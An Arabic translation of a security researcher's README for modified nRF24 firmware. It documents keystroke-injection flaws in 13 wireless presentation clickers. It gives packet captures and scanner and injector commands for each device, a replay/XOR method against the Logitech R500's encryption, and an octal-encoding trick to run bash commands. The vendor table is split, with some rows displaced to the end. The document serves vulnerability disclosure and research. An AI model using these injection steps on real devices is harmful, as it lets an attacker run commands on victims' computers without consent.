
ثغرات حقن ضغطات المفاتيح في أجهزة النقر اللاسلكية للعروض التقديمية
كنت في مزاج للقيام ببعض الهندسة العكسية للترددات الراديوية، لذا طلبت بضعة أجهزة تحكم في العروض التقديمية وخضت تجربة ممتعة.
هذا فرع (fork) من nrf-research-firmware (والذي كتبته قبل بضع سنوات في Bastille). أضفت دعمًا لعدد من أجهزة الإرسال والاستقبال/البروتوكولات الجديدة، وأدرجت إثباتات مفهوم (POCs) لحقن ضغطات المفاتيح لـ 13 جهاز تحكم شائعًا في العروض التقديمية.
| البائع | الطراز | البروتوكول | RFIC | تاريخ الإضافة |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 |
هذا هو بروتوكول لوحة مفاتيح Logitech المشفّر القياسي، كما هو مستخدم في R500. وهو عرضة بشكلٍ ما لهجوم "حقن ضغطات المفاتيح المشفّرة" الذي وثّقته مع لوحات مفاتيح Logitech Unifying ضمن مشروع MouseJack.
أقول إلى حدٍ ما، لأنه لا يتم قبول جميع أكواد المسح الضوئي HID. تحديدًا، يتم استبدال 0x04-0x1D (A-Z) بـ 0x00 عندما يرسل الدونجل الحزمة إلى الكمبيوتر المضيف، ما يعني أنه يمكننا حقن ما نشاء، طالما أنه ليس حرفًا. الاستثناء الآخر هو أن اختصارات مفاتيح ctrl مسموحة، حتى عندما تتضمن أحرفًا.
يتطلب حقن ضغطات المفاتيح الفعّال عبر R500 أن نتحلى بقليل من الإبداع.
لنفترض أن الهدف يعمل في جلسة bash. في bash، يمكننا ترميز أحرفنا بنظام الأساس الثماني (base-8)، لترميز أوامر تحتوي على أحرف نريد أن ينفّذها هدفنا.
على سبيل المثال، يتم ترميز ping google.com كـ $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'. إذا أرسلنا هذه السلسلة إلى جلسة bash ثم أرسلنا enter، فسيتم تنفيذ الأمر ping google.com على الجهاز الهدف.
يمكنك العثور على عنوان جهاز Logitech R500 الخاص بك باستخدام nrf24-scanner على النحو التالي:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
يجب أن تبدو الحزم على نحو مماثل لما يلي:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
الحقن ممكن لأن الدونجل لا يفرض زيادة عدادات AES، لذا يمكنك إعادة إرسال الحزم (replay). تتكون الحزمة المرسلة عبر الأثير (OTA) من حمولة USB HID تم تشفيرها في وضع عداد AES، ثم يليها العداد. عند الضغط على زر في جهاز التحكم بالعروض التقديمية، يُنشئ حزمة ضغطة مفتاح وحزمة رفع مفتاح. حزمة رفع المفتاح كلها أصفار، ما يمنحنا مادة مفاتيح نظيفة وجاهزة يمكننا إعادة استخدامها، والقيام بعملية XOR مع حمولتنا الخاصة، وإرسالها عبر الأثير.
لا ينبغي أن يكون من الصعب أتمتة عملية الاستماع لضغطة زر، واستخراج الحزمة الثانية (حزمة رفع المفتاح)، واستخدامها تلقائيًا كمرجع لمادة المفاتيح. لكنني كسول، لذا ستحتاج أولاً إلى مراقبة ضغطة زر بنفسك، والتي تبدو كما يلي:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
الحزمة الثانية المكونة من 22 بايت هي حزمة رفع المفتاح.
أزل آخر بايت من الحمولة، وانسخ السلسلة والصقها في logitech.py، مستبدلاً KEYUP_REF.
(لا يُفترض أن يعمل دون تحديث KEYUP_REF، لكن إذا عمل بالفعل، فأخبرني من فضلك!)
احقن تسلسل ضغطات المفاتيح لأمر bash ping google.com المشفّر بنظام الأساس الثماني في دونجل Logitech R500 محدد (العنوان 85:D1:9D:FE:07):
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
هذا هو بروتوكول Logitech غير المشفّر القياسي، المستخدم في R400/R800.
يمكنك العثور على عنوان جهاز Logitech R400/R800 الخاص بك باستخدام nrf24-scanner على النحو التالي:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
يجب أن تبدو الحزم على نحو مماثل لما يلي:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
احقن تسلسل ضغطات المفاتيح الاختباري في دونجل Logitech R400/R800 محدد (العنوان 9D:9E:95:52:07):
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
يعتمد جهاز Rii اللاسلكي للعروض التقديمية (القلم الدائري الشكل) على شريحة BK2451 (والتي تبدو نسخة مقلدة من nRF24). يبدو هذا كبروتوكول عام، استنادًا إلى انتشار الأجهزة الشقيقة، لذا سأعيد تصنيفه على الأرجح بعد الحصول على مزيد من البيانات.
إنه وظيفيًا لوحة مفاتيح لاسلكية غير مشفّرة، عرضة لحقن ضغطات المفاتيح.
يستخدم جهاز العروض التقديمية اللاسلكي (القلم الدائري الشكل) بروتوكول nRF24 Enhanced Shockburst بسرعة 250Kb/s (بدون إشعارات ACK على ما يبدو)، وعنوانًا من 5 بايتات. لوحظ أن الجهاز الذي اختبرته يستقر على التردد 2425 ميجاهرتز، لكن يبدو أنه يستخدم نوعًا من آلية تنقّل الترددات. عمليًا، من الضروري إرسال بعض الحزم الوهمية على القناة المستهدفة قبل إرسال حزم ضغطات المفاتيح.
أشتبه في وجود تنقّل بين القنوات لم أقُم بتوصيفه بعد، لكن استهداف قناة واحدة كافٍ لإثبات حقن ضغطات المفاتيح.
يمكنك العثور على عنوان جهاز العروض التقديمية اللاسلكي (القلم الدائري الشكل) الخاص بك باستخدام nrf24-scanner على النحو التالي:
sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5
لاحظ أن جهازك قد يكون على قناة أخرى.
يجب أن تبدو الحزم على نحو مماثل لما يلي:
[2019-04-21 11:50:33.116] 25 3 6D:8C:01:14:25 4B:51:00
[2019-04-21 11:50:33.212] 25 3 6D:8C:01:14:25 4C:00:00
[2019-04-21 11:50:33.522] 25 3 6D:8C:01:14:25 4D:51:00
[2019-04-21 11:50:33.565] 25 3 6D:8C:01:14:25 4E:00:00
احقن تسلسل ضغطات المفاتيح الاختباري في دونجل Rii محدد (العنوان 6D:8C:01:14:25):
sudo ./tools/preso-injector.py -l -f rii -a 6D:8C:01:14:25
يعتمد جهاز TBBSC DSIT-60 على شريحة BK2451 (والتي تبدو نسخة مقلدة من nRF24). توجد أجهزة شقيقة واضحة (مثل هذا الجهاز) لم أختبرها بعد. في الوقت الحالي أصنّف هذا كبروتوكول مستقل، لكن من المرجح أن يتغير ذلك بمجرد اختباري للجهاز (الأجهزة) الشقيقة.
إنه وظيفيًا لوحة مفاتيح لاسلكية غير مشفّرة، عرضة لحقن ضغطات المفاتيح.
يستخدم DSIT-60 بروتوكول nRF24 Enhanced Shockburst بسرعة 250Kb/s (أو ما يعادله عبر الأثير على الأقل) بعنوان من 3 بايتات. لوحظ أن الجهاز الذي اختبرته يستقر على التردد 2406 ميجاهرتز، لكنني لست متأكدًا من القنوات الأخرى التي قد يستخدمها.
يمكنك العثور على عنوان جهاز DSIT-60 الخاص بك باستخدام nrf24-scanner على النحو التالي:
sudo ./tools/nrf24-scanner.py -c 6 -l -R 250K -A 3
لاحظ أن جهازك قد يكون على قناة أخرى، أو قد تكون هناك إعادة ضبط لتنقّل الترددات لم أرصدها.
يجب أن تبدو الحزم على نحو مماثل لما يلي:
[2019-04-21 10:33:44.264] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:44.269] 6 4 87:02:09 0B:42:00:2B
[2019-04-21 10:33:52.477] 6 4 87:02:09 01:42:00:28
احقن تسلسل ضغطات المفاتيح الاختباري في دونجل TBBSC DSIT-60 محدد (العنوان 87:02:09):
sudo ./tools/preso-injector.py -l -f tbbsc -a 87:02:09
هذا شبه مؤكد أنه بروتوكول عام، لكنني لم أطّلع على أي من الأجهزة الشقيقة بعد (مثل هذا الجهاز). في الوقت الحالي أصنّف هذا كبروتوكول مستقل، لكن من المرجح أن يتغير ذلك بمجرد اختباري للجهاز (الأجهزة) الشقيقة.
يعتمد P-001 على عائلة شرائح nRF24 الراديوية، وهو وظيفيًا لوحة مفاتيح لاسلكية غير مشفّرة، عرضة لحقن ضغطات المفاتيح.
يستخدم P-001 بروتوكول nRF24 Enhanced Shockburst بسرعة 2Mb/s مع عناوين من 5 بايتات، والقنوات 2402-2476.
يمكنك العثور على عنوان جهاز P-001 الخاص بك باستخدام nrf24-scanner.py.
يجب أن يؤدي الضغط على السهم الأيمن إلى توليد حزم تبدو على نحو مماثل لما يلي:
[2019-04-20 12:59:13.908] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.909] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:13.999] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
[2019-04-20 12:59:14.120] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.121] 27 9 44:CB:66:A3:BE 00:00:00:00:00:00:00:00:01
[2019-04-20 12:59:14.211] 27 9 44:CB:66:A3:BE 00:00:4E:00:00:00:00:00:01
احقن تسلسل ضغطات المفاتيح الاختباري في دونجل AmazonBasics P-001 محدد (العنوان 44:CB:66:A3:BE):
sudo ./tools/preso-injector.py -l -f amazon -a 44:CB:66:A3:BE
لست متأكدًا مما إذا كان هذا البروتوكول حصريًا لجهاز Canon PR100-R، لكن نظرًا لأنه الجهاز الوحيد الذي رصدته ويتحدث هذا البروتوكول، فسأتركه في تصنيفه المستقل حتى تشير البيانات إلى خلاف ذلك.
يعتمد PR100-R على شريحة PL1167 الراديوية، وعلى متحكم دقيق (MCU) غير معروف.
إن PR100-R وظيفيًا لوحة مفاتيح لاسلكية غير مشفّرة، عرضة لحقن ضغطات المفاتيح.
يستخدم PR100-R بروتوكول FSK بسرعة 1Mb/s يعمل على قنوات متباعدة 5 ميجاهرتز بين 2406 ميجاهرتز و2481 ميجاهرتز.
الحزم مبيَّضة (whitened)، ومحمية بفحص CRC بعرض 16 بت.
لا يبدو أن هناك إشعارات ACK تُرسل من الدونجل، مع الإشارة إلى أنني قمت بهندسة هذا البروتوكول عكسيًا بالقدر الكافي فقط لإثبات حقن ضغطات المفاتيح.
يبدو أن البروتوكول يتبع نهج تنقّل الترددات في اختيار القناة، ويستقر الدونجل على قناة بعد أن يرسل جهاز التحكم عليها عددًا من الحزم. عمليًا، يكفي إرسال بضع ثوانٍ من الحزم الوهمية قبل إرسال حزم ضغطات المفاتيح.
استنادًا إلى تنسيق الحزم، من غير الواضح ما إذا كان هذا البروتوكول يستخدم كلمة مزامنة ثابتة أم عنوانًا خاصًا بكل جهاز. لقد فحصت وحدة واحدة فقط (بسبب ارتفاع السعر)، لذا لم أتمكن من تدقيق تنسيق الحزم بالكامل.
يعمل نص الحقن ضد جهاز PR100-R الخاص بي، لكنه قد يحتاج إلى تعديل للاستخدام العام. إذا كان لديك جهاز PR100-R آخر ويمكنك التحقق من ذلك، فأخبرني من فضلك!
احقن تسلسل ضغطات المفاتيح الاختباري في دونجل Canon PR100-R قريب:
sudo ./tools/preso-injector.py -l -f canon
يبدو أن HS304 شريحة راديوية مخصصة لتطبيقات أجهزة التحكم في العروض التقديمية (أو ربما لوحات المفاتيح/الفئران اللاسلكية). يأتي الاسم من سلسلة تعريف جهاز USB HAS HS304، وكانت هي نفسها لجميع الأجهزة في هذه المجموعة.
لوحظ أن الشريحة الراديوية عبارة عن حزمة SOP-16 غير موسومة، دون فروق ظاهرة بين البائعين.
الأجهزة المبنية على HS304 هي وظيفيًا لوحات مفاتيح لاسلكية غير مشفّرة، عرضة لحقن ضغطات المفاتيح.
HS304 هو بروتوكول FSK بسرعة 1Mb/s يعمل على ثلاث قنوات في نطاق ISM بتردد 2.4 جيجاهرتز (2407، 2433، 2463). لا يبدو أن هناك إشعارات ACK تُرسل من الدونجل إلى جهاز التحكم في العروض التقديمية، ويتم ضمان تسليم الحزم عبر إرسال كل حزمة على كل من القنوات الثلاث.
عمليًا، يمكن أيضًا تحقيق تسليم موثوق للحزم عبر إرسال كل حزمة عدة مرات على قناة واحدة.
الحزم مبيَّضة (whitened)، ومحمية بفحص CRC بعرض 16 بت.
لا يوجد أي مخطط عنونة أو إقران، لذا لا يتطلب حقن ضغطات المفاتيح اكتشافًا للجهاز، غير أن غياب إشعارات ACK يمنع الاكتشاف النشط للدونجل.
احقن تسلسل ضغطات المفاتيح الاختباري في أجهزة دونجل HS304 القريبة:
sudo ./tools/preso-injector.py -l -f hs304
استقبل وفكّ تشفير الحزم المرسلة من أجهزة التحكم في العروض التقديمية NS304 القريبة:
sudo ./tools/preso-scanner.py -l -f hs304
| 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |